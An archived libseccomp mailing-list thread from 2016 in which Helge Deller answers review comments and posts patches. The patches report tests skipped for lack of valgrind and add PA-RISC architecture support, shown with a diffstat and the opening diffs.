X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.28.8.6 with SMTP id 6ls152202wmi.1.canary; Fri, 15 Apr 2016
 08:07:33 -0700 (PDT)
X-Received: by 10.194.190.225 with SMTP id gt1mr2491080wjc.5.1460732853847;
        Fri, 15 Apr 2016 08:07:33 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.15.19])
        by gmr-mx.google.com with ESMTPS id y80si1177698wmd.3.2016.04.15.08.07.33
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Apr 2016 08:07:33 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted sender) client-ip=212.227.15.19;
Original-Received: from [10.95.162.180] ([155.56.40.73]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MKHMk-1asjlm1PZm-001eux; Fri, 15 Apr 2016 17:07:28
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
X-Provags-ID: V03:K0:yX4vMH3TMURj7UYq1OAx/usCOy2JbOkaZjUlT7hYX/ACg+Qm30H
 gPanv5UzQtLuSCp45zbxp0S55Z9ej3Fp5yW9A5luocFtHY/tzPg5qoAGc3no4MI59BQpKuA
 0qZDAdaYSz6tDi6xHFsz5rogP8LBQNl3bXB90MN3HS0GHW/ROEjSNwEwzFkXfEg3R1lE75u
 /Iw2eQ5uK+nq2+ALBjP0A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MIlcynA2kGQ=:i3Jt0KQzpuDs51+JfjOn4k
 D9jIwYbRiKN7Dht0e92nmvH/M1KlKV8+9d0WAn2NqmMYmdo2uVj4WIVv+cJSxKJULad9Fr9wf
 r7IMHh22hIyu4L+gqBD3gFysU5krTF4zdwy51JwggMC7AJEGqelNs2VD5ZYMY08VWUpShoXva
 E+JvFeFr0xxrn2ZniR7YCyeM6H+u8Y0o6DXKQS+CtClJBi49uJrWIwqkNRIVrW3FiEtyl28IS
 kFLdSy4Qh/ahF08WYntRd4CfCqj3SQ9Rr51PouA/1IHxh5lQbo8eadmk01rmk+2qzp6+yp8TN
 vD4imn38tyhKrn9PmxojuNmqCUajauVa9SzKv4PJdTyzllcgMhiGveFgkOdD7I9thRUaQvjbr
 T5HodmsqRC99SmfHri/PHgVLZZXq/GAbSXppEyDaxSUq0fJiUkVddTtQvg8z+G2EHJC6emPEe
 OOaObkLgH9LtYjo/41kzGlyxLvZG8MQNJGE6LNVz8suACfeuJ40H8JhpPxPnQmdnPK9He8Ukg
 QeeBXvMzMRn5TnCemvOfiGhgBi24pmX3RPKQf7lPXUmK50l5LqRnsvOwSHoHL8JnshD2hCqMK
 U4bsUJU+pJi3eSBfg9gNiCXiWWjS8Z9cxKvb0s21MZRtTEKYbtq8MDSzLb4iLJsbT1yrNzhpr
 4rt8feBdRUaqCScm2wpN997xxwVINrHi2JFleZmQkUPSaHa6dlzwrLhkqWZ1lE/ZpTBr8NN3Q
 vWYJCNP56eyE3Eqgxf27QWucNbWIsh+n/o6zZD0aSOIJkQJhqsiatOobEvXlRmSz1Ah7WTYz 
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1341 gmane.linux.ports.parisc:26642
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1341>

Hi Paul,

On 15.04.2016 01:14, Paul Moore wrote:
> On Sat, Apr 9, 2016 at 3:05 AM, Helge Deller <deller@gmx.de> wrote:
>> This patch (v2) adds support for the parisc and parisc64 architectures
>> to libseccomp.
> 
> Great!

>> I noticed that when valgrind is not going to be used (e.g. because it's not
>> installed), the test testsuite will issue no information about that. With this
>> patch you will get informed if a testcase was SKIPPED because valgrind is not
>> installed. This additional info is useful for architectures which aren't as
>> fast as x86_64. On parisc it seemed that the whole testcase was hanging, now
>> people know what's actually happening.
> 
> Would you mind separating out the valgrind portion of the patch into a
> separate patch?  
> That is something we can merge regardless, as it
> isn't pa-risc specific, and would be a nice addition.

Sure. I'll send it out in a few seconds.

>> I did ran a "make check" sucessfully on x86_64 and parisc.
>> The x86_64 didn't showed any issues, while on the parisc architecture
>> the 29-sim-pseudo_syscall testcase failed. But it seems this testcase
>> failure is not caused by this patch, instead it seems that it will fail
>> on most other architectures beside x86_64 as well.
> 
> There should be no test failures on any of the arch/ABIs that
> libseccomp supports.  Can you elaborate on the failure you are seeing
> with 29-sim-pseudo_syscall? 

I found the problem. Those testcases needed "pseudo" syscalls: 
19-sim-missing_syscalls -> tuxcall
29-sim-pseudo_syscall -> sysmips
It's fixed in the new patch (v3) which I send out in separate mail.

> Are you using a current libseccomp from the master branch?

Yes.

> Also, it would be good to ensure that 'cd tests; ./regression -T live'
> worked correctly; 

Yes, the new patch (v3) works as expected:
test type:  live
Test 20-live-basic_die%%001-00001 result:   SUCCESS
Test 20-live-basic_die%%002-00001 result:   SUCCESS
Test 20-live-basic_die%%003-00001 result:   SUCCESS
Test 21-live-basic_allow%%001-00001 result:   SUCCESS
Test 24-live-arg_allow%%001-00001 result:   SUCCESS
Test 32-live-tsync_allow%%001-00001 result:   SUCCESS
Regression Test Summary
 tests run: 6
 tests skipped: 0
 tests passed: 6
 tests failed: 0
 tests errored: 0

> So all necessary kernel support is now part of the 4.6-rcX kernels?

Yes, 4.6-rc1 has everything needed for libseccomp.
In addition, 4.5.2 (stable) will have the patches as well (4.5.1 was just released, 
but the patches are already queued up for 4.5.2 by the stable maintainers).

Helge

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: [PATCH] libseccomp/tests: Report if test was skipped
 because of missing valgrind
Date: Fri, 15 Apr 2016 17:09:41 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20160415150941.GA11180@ls3530.dhcp.wdf.sap.corp>
References: <20160213200731.GA18161@ls3530.box>
 <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de>
 <1907254.cBdVSxntFv@sifl>
 <20160409070549.GA5442@ls3530.box>
 <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
 <571103AD.20500@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460733001 10591 80.91.229.3 (15 Apr 2016 15:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 15:10:01 +0000 (UTC)
Cc: Paul Moore <paul@paul-moore.com>, libseccomp@googlegroups.com,
	Mike Frysinger <vapier@gentoo.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: libseccomp+bncBC23VB5X54DBBPUIYS4AKGQEAJDOX4A@googlegroups.com Fri Apr 15 17:09:54 2016
Return-path: <libseccomp+bncBC23VB5X54DBBPUIYS4AKGQEAJDOX4A@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-lf0-f56.google.com ([209.85.215.56])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBBPUIYS4AKGQEAJDOX4A@googlegroups.com>)
	id 1ar5NW-0004qs-HL
	for gcllg-libseccomp-discuss-2@m.gmane.org; Fri, 15 Apr 2016 17:09:50 +0200
Original-Received: by mail-lf0-f56.google.com with SMTP id d131sf32158858lfd.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Fri, 15 Apr 2016 08:09:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=4FiC3r4pvjYS7aIV5uPpzDWCs67D7XWe0C1EKZ420Vs=;
        b=dLC+Bl1cGUmuaGtcEPeoXDddd+2bixZbiy8W5jmXjR5G9/cPJhz5DF8I3Yu0aQBo23
         b1kc2axwL0mA4/Pg06ZO8isv3pEfM+D0ObDoApRYeQmFLSwlOWzYXuzrW/ilPk0CUZe/
         uYX4XhuoLQl7th/IYorWBWtwaQ+lJVON6yTT1nPKvCYQj0fJzHExjFFTBaJJ662UeBvc
         B/i7n3e+hcGXEZwSMFxS9IxG098XwImvQbZpRmDNqsmfyorUjZnL3sZmBDijX4xG4r/R
         t9yZAcZu5bszzNMHoV6P2hpcek3nhV/mgf4qQrqwIUgrDxcjBfS/1N4hAfrHAoabksAs
         b5Eg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:x-spam-checked-in-group:list-post:list-help
         :list-archive:list-subscribe:list-unsubscribe;
        bh=4FiC3r4pvjYS7aIV5uPpzDWCs67D7XWe0C1EKZ420Vs=;
        b=M8kNKYFhx5InNeLvCE9VWt4XWAO+MZ0nr1vE0ecn8FoTuDQNHKI07XryCey4W2VXau
         dfK9uozYZk/mqJn8FtTmKP85RvszT9NNdYmVV7VYzYswG+d125kfqSO4j/cOmzAKCHP8
         vhcQVQ7EnSgrrUuZSq7Tx1fE5tc1xQ3vIEEL2MocI/dlY6xKdrKqeMHkdQ47VWlTewzu
         XQ8PLYPwsybysZc/yunhV9pKOBKG4wkiOGpERFnj/NM+HC+2oCn6azZ1TbH8w5W+YavR
         eoxXF/P9PJdSgwp07iPM7KlCBUzzOhY6jcPsxCEbSVGswoPwmeXhVDclRnNle9FUV3C3
       
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FVXeY8oLU74lWPJIv74aouy0huHVol3Sw8g3xUsiqYe42Lm/r9s5JY7Wzo6tpUSuQ==
X-Received: by 10.25.84.134 with SMTP id i128mr350356lfb.5.1460732990234;
        Fri, 15 Apr 2016 08:09:50 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.25.150.193 with SMTP id y184ls159230lfd.38.gmail; Fri, 15 Apr
 2016 08:09:49 -0700 (PDT)
X-Received: by 10.112.204.97 with SMTP id kx1mr2445285lbc.15.1460732989893;
        Fri, 15 Apr 2016 08:09:49 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.17.20])
        by gmr-mx.google.com with ESMTPS id a80si1764348wma.0.2016.04.15.08.09.49
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Apr 2016 08:09:49 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.17.20 as permitted sender) client-ip=212.227.17.20;
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx101) with ESMTPSA (Nemesis) id 0Lg5kl-1bXMKg2h8l-00pbQQ; Fri, 15 Apr
 2016 17:09:45 +0200
Content-Disposition: inline
In-Reply-To: <571103AD.20500@gmx.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:CrBiWuX0gVif5nuQcZBytagxwaCtGfPbVuyBmhR6Bz3bsZz2WMj
 jI822mJAkrEmXKgKMxL6ypG0qyh634aoxGqH1Scm5Y8Dr47w29BiufYs2n5PlyrEKnuvrtA
 79TNiqtMGE5RwxNqnbwNZ9EIrWTZp++TMd3vo5YRTwoNX0ReHwNpE3HebxLrW3GM8bZ16xU
 47Mj4aiJ04ZRFHwWT5OcA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ok8mTB0u46A=:vrYtYSk5YOtTtxEKuasEgd
 gbNjJDYsKfBIxK92SBc846LuF3bxyllxb0zTgaTtIqRXbtXj154E+fTYOXnxVBMGjjT8KujCF
 eQSAhkvWySd7cxQMWJPHKdNMZt5S1OI1KtLNOWc/ApRFhO5yDpIuQbj7OnZQAYDIMFwnMISJK
 0z9mW+49bFk5Hb0vaz/yilObsGzRybv5CDp69df7IWK5WjM2eTwMQHXaKxcyl4XvvhPooc6KC
 jNqJ5/QZJlyYpwXi1KLv1760H1Sz+bQ6CN94ZHT8L7XplXxGUukae4sbp9RvWRGo5Afpav4EK
 Q7Z7weChZHDTDFTqhEbZtGFzIOGBhBEHdaYiBv3SqDAi8fxeC3g06p3sIgnfBaMfIlFc5jW6D
 p2/dFe0Vd2abosiIchtdtlcsc4LvPSLLzyj7G4RHR+ExwHdR8oTjWUvDXhaaH/+KoDLnVBm78
 DKYbF7OBaK3rai8frd5TXYx0PXEhtTlDZ7YRgMrtFpTSliWGI5i3h2uMAqWQLc+0fYP0MiOiT
 6WrENwwouM5z+wTXhuJy0bC4BK8NuR7jwLd91TJVEL5ZgekjV/sBpW2aJvTJdmRLobPmN6tcR
 D1++TEzcQ/RX+kr5LuV3Wus/dmwDRx9wHet6IWML2JI6RvCidAMyJWMdR2XiQetwRN2R/8vvO
 jpUDDnkwSq2PN87LzMMYQw0RLnHlCbLOqrGBtoLk8S2rhU4TlXLytSa/B+PwCYQ8XwD64EOy7
 q61rs9X62PQIYE2ucU8sQah2jgbT90IY/o5QJc+JIQX+ucFrW81VkyAMfWw=
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.17.20 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1342 gmane.linux.ports.parisc:26643
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1342>

Print a message if a regression test was skipped just because valgrind isn't
installed.

This additional info is useful for architectures (e.g. parisc) which aren't as
fast as x86_64. On parisc it seemed that the whole testcase was hanging, now
people know what's actually happening.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/tests/regression b/tests/regression
index 53d26b2..5949459 100755
--- a/tests/regression
+++ b/tests/regression
@@ -772,6 +773,7 @@ function run_test() {
 		if check_deps valgrind; then
 			run_test_bpf_valgrind "$testnumstr" "$3"
 		else
+			print_result $testnumstr "SKIPPED" "(valgrind not installed)"
 			stats_skipped=$(($stats_skipped+1))
 		fi
 	elif [[ "$4" == "live" ]]; then

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: [PATCH] libseccomp: Add parisc architecture support (v3)
Date: Fri, 15 Apr 2016 17:11:03 +0200
Lines: 848
Approved: news@gmane.org
Message-ID: <20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
References: <20160213200731.GA18161@ls3530.box>
 <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de>
 <1907254.cBdVSxntFv@sifl>
 <20160409070549.GA5442@ls3530.box>
 <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
 <571103AD.20500@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460733088 11948 80.91.229.3 (15 Apr 2016 15:11:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2016 15:11:28 +0000 (UTC)
Cc: Paul Moore <paul@paul-moore.com>, libseccomp@googlegroups.com,
	Mike Frysinger <vapier@gentoo.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: libseccomp+bncBC23VB5X54DBBDMJYS4AKGQE4OOABWY@googlegroups.com Fri Apr 15 17:11:11 2016
Return-path: <libseccomp+bncBC23VB5X54DBBDMJYS4AKGQE4OOABWY@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-lf0-f63.google.com ([209.85.215.63])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBBDMJYS4AKGQE4OOABWY@googlegroups.com>)
	id 1ar5Oo-0005eD-8a
	for gcllg-libseccomp-discuss-2@m.gmane.org; Fri, 15 Apr 2016 17:11:10 +0200
Original-Received: by mail-lf0-f63.google.com with SMTP id d131sf32164406lfd.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Fri, 15 Apr 2016 08:11:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=tPg/UoQrEg3tpAPQGbdCfchT/XUEVHUbBxL39E+M4nM=;
        b=dcywiBE+z9b1ce8WgmtBb39V/9/4PhST7L69E/vJ2b19rDZQFmzHMMJ+A/r0JfofUW
         SvElwBoomHfBlPYPcLCJsCYoge+3CSG88pRXxfFjXE1octtJRgYzRr/nIQq2HtQxDeCs
         Rohe0deg70GNIrzUuDfurobkH0jk3czXmDAEAcK7UufzqJGgv/Y7F85dgf8Dwv0dbA/E
         EMkMOVqWjhV6Yi0J1b1mDtCc6R2HujVcYFQ2IvHf2ZTFyF78hjVSDQ+04JYuQpNJTx7W
         0IFAJX68nPTVHLdKtVzWY9mMgUSwCEK/VVu79aUBSOhxXFLjpfLsfKHixAAIUda3tP7c
         MGKg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:x-spam-checked-in-group:list-post:list-help
         :list-archive:list-subscribe:list-unsubscribe;
        bh=tPg/UoQrEg3tpAPQGbdCfchT/XUEVHUbBxL39E+M4nM=;
        b=e3TAeNlrhPYri8I8lW+95d9JRT/S2Hcwv9ukzzow1ow0Gartx5rZqKPLXC/dk0CBmQ
         vMkt2ZQ0j3OkAufcT7NCI3ruPeoL6mEGS8uFZe/ns1yTRYeGiJr6OHlb733BlIh8UM60
         EWBRUkFxlr2AfQwuYip/NX/G1kjULnElo6epSpuE6qWbPo6zQJ7LjqjSJ4eiH7ItkSjo
         zRVw7AiGTdodIxROShBBnylLJ1zPgPLdUvGLMICxQ0ERQewwgqIytfcdzxFUswb9y6Id
         7nFCndnudAlxYqYL21MJCzWr9tXqJTaU1Zf/0BUbkOso+fqigOo8DQEK2l+mwcrhVJd/
       
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FXJHRzwzy0WiP6zZ1DPLhuUFBsIVWtTSVuyPvlhoAX5ZnI+G3evBvjvnlNqbBVgeg==
X-Received: by 10.25.151.129 with SMTP id z123mr352359lfd.12.1460733069870;
        Fri, 15 Apr 2016 08:11:09 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.25.166.200 with SMTP id p191ls176126lfe.23.gmail; Fri, 15 Apr
 2016 08:11:09 -0700 (PDT)
X-Received: by 10.112.170.42 with SMTP id aj10mr2426268lbc.1.1460733069431;
        Fri, 15 Apr 2016 08:11:09 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.15.19])
        by gmr-mx.google.com with ESMTPS id k143si1356383wmg.1.2016.04.15.08.11.09
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 15 Apr 2016 08:11:09 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted sender) client-ip=212.227.15.19;
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx001) with ESMTPSA (Nemesis) id 0M09BU-1blOPV3IAm-00uKe3; Fri, 15 Apr
 2016 17:11:05 +0200
Content-Disposition: inline
In-Reply-To: <571103AD.20500@gmx.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:s2FPivogyPxlFArmfgXVLnKZUkMfHnoTHVA2m/tbKpFQNeFmqec
 kVNVQT0NrXUsdOuawPdqPyLPCyABr0n+htZFsgerowhDrCKzoWc5VV3pdD0OcQSTaBZ1qOy
 vncln+k4sMotEaNqi6biHxkC0kSkkOyc+1I2Z1zafWddmr/QkzFDo5ngGz9lP1QTu4q8XCg
 2EewWU2mGCvVF5dXOtGEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TRooZSXn2Y8=:v6Xhb+Gvo4t8Q3sZ/mNKmT
 OAhZy68zacmwAdAe+6buqRDe4lq6+lRou2h6FxzG3yS2CTPrJX7YMcIYI5AHp84C/wd1lKngI
 9PbY96TTEFifJbC+ME2x+FWE3e0+nI6QYUv/BkdGuyylyYv1KzsNPhuHqS8jJFL7Zm8mpEk1/
 gWFXMkSfqt2XOhHmstLHn5+be/DmGu9ugIvJzo4lMjLMGjFbgiBhLfmdO1VCzqvKWo0XDsarE
 AsbUvxVk5SSvS0ARWEdAZluruCnylhFpdek/tbVw87Z/xsoWaUv3aLk8a+v7ANIwLTPCEwrZ/
 LvArAieMhQol3JSihTY1i38jNYsYYBRscVma+fT8avAZJWG87CDZ8DcGftqC0FJtXoSuShtYC
 zsQR2/9qQWfwTHWW5QyPuOGdutx95neHXeVfYoL7uKDqEZhmT+jDtYYzZS9ujnuFxK+S/R8ix
 GKEc/395qrsAVRZQoPkT6UuKKzD7vElfxwDYgeYsqW5J9fL7kOD0b7t0pXKfH4fOp1/CT9fmn
 +24qZ9Rz6df3VHPwgXgXa2Rb67WCIVpyFxmmzyjhgkx2dwp+lymcZVSpgCbygPtQqLfb7qOHW
 bt5ivXKRHJ7aC63ilcteijA4QuQ94VyHp/yVrd3+B5s/RlSQXMcPjvZZgCrmX2b6tbUQUYnFc
 Pyoiu26Rx4goQrfSm7WSVTwNLGaq8qQbQcZA5cZDFCzMd0CAIVNBzltPX9CBrjA5aqpJOmgZH
 uvlxKRN2j4npShx0FVQ2NpauBufENosPVcyHEH7skCIN2O0fxbFEt18NGBY=
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.15.19 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1343 gmane.linux.ports.parisc:26644
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1343>

This patch (v3) adds support for the parisc and parisc64 architectures
to libseccomp.

I didn't split up the patch, because it's pretty trivial.
Those parisc-specific files gets added:
 src/arch-parisc-syscalls.c
 src/arch-parisc.c
 src/arch-parisc.h
 src/arch-parisc64.c

All other changes are trivial because they simply add parisc-specific
case statements in variouse switch statements.

I did ran a "make check" on parisc and all testcases suceeded.
All live testcases succeed as well when running "./regression -T live".

The patch applies cleanly to current libseccomp git head.

Changes between v2 and v1 of this patch:
- Enabled seccomp mode 2 regression tests on parisc. Kernel support for hppa
  was added in kernel 4.6-rc1 and backported into the kernel v4.5.2 stable
  series.

Changes between v3 and v2 of this patch:
- Stipped out patch which reports if a check was skipped because valgrind
  isn't installed.
- Added tuxcall pseudo syscall for 19-sim-missing_syscalls testcase
- Added sysmips pseudo syscall for 29-sim-pseudo_syscall testcase

Thanks,
Helge

Signed-off-by: Helge Deller <deller@gmx.de>

diffstat:
 include/seccomp.h.in              |    6 
 src/Makefile.am                   |    2 
 src/arch-parisc-syscalls.c        |  424 ++++++++++++++++++++++++++++++++++++++
 src/arch-parisc.c                 |   22 +
 src/arch-parisc.h                 |   38 +++
 src/arch-parisc64.c               |   22 +
 src/arch-syscall-dump.c           |    5 
 src/arch.c                        |   13 +
 src/gen_pfc.c                     |    4 
 src/python/libseccomp.pxd         |    2 
 src/python/seccomp.pyx            |    8 
 tests/26-sim-arch_all_be_basic.c  |    6 
 tests/26-sim-arch_all_be_basic.py |    2 
 tests/regression                  |    3 
 tools/scmp_arch_detect.c          |    6 
 tools/scmp_bpf_sim.c              |    4 
 tools/util.c                      |    4 
 17 files changed, 570 insertions(+), 1 deletion(-)

diff --git a/include/seccomp.h.in b/include/seccomp.h.in
index 6bf6751..5b9057f 100644
--- a/include/seccomp.h.in
+++ b/include/seccomp.h.in
@@ -185,6 +185,12 @@ struct scmp_arg_cmp {
 #define SCMP_ARCH_S390X		AUDIT_ARCH_S390X
 
 /**
+ * The PA-RISC hppa architecture tokens
+ */
+#define SCMP_ARCH_PARISC	AUDIT_ARCH_PARISC
+#define SCMP_ARCH_PARISC64	AUDIT_ARCH_PARISC64
+
+/**
  * Convert a syscall name into the associated syscall number
  * @param x the syscall name
  */
diff --git a/src/Makefile.am b/src/Makefile.am
index c2d805e..dcc79d9 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -35,6 +35,8 @@ SOURCES_ALL = \
 	arch-mips.h arch-mips.c arch-mips-syscalls.c \
 	arch-mips64.h arch-mips64.c arch-mips64-syscalls.c \
 	arch-mips64n32.h arch-mips64n32.c arch-mips64n32-syscalls.c \
+	arch-parisc.h arch-parisc.c arch-parisc-syscalls.c \
+	arch-parisc64.h arch-parisc64.c \
 	arch-ppc.h arch-ppc.c arch-ppc-syscalls.c \
 	arch-ppc64.h arch-ppc64.c arch-ppc64-syscalls.c \
 	arch-s390.h arch-s390.c arch-s390-syscalls.c \
diff --git a/src/arch-parisc-syscalls.c b/src/arch-parisc-syscalls.c
new file mode 100644
index 0000000..78474e1
--- /dev/null
+++ b/src/arch-parisc-syscalls.c
@@ -0,0 +1,424 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <string.h>
+
+#include <seccomp.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+#ifndef __NR_Linux
+#define __NR_Linux 0
+#endif
+
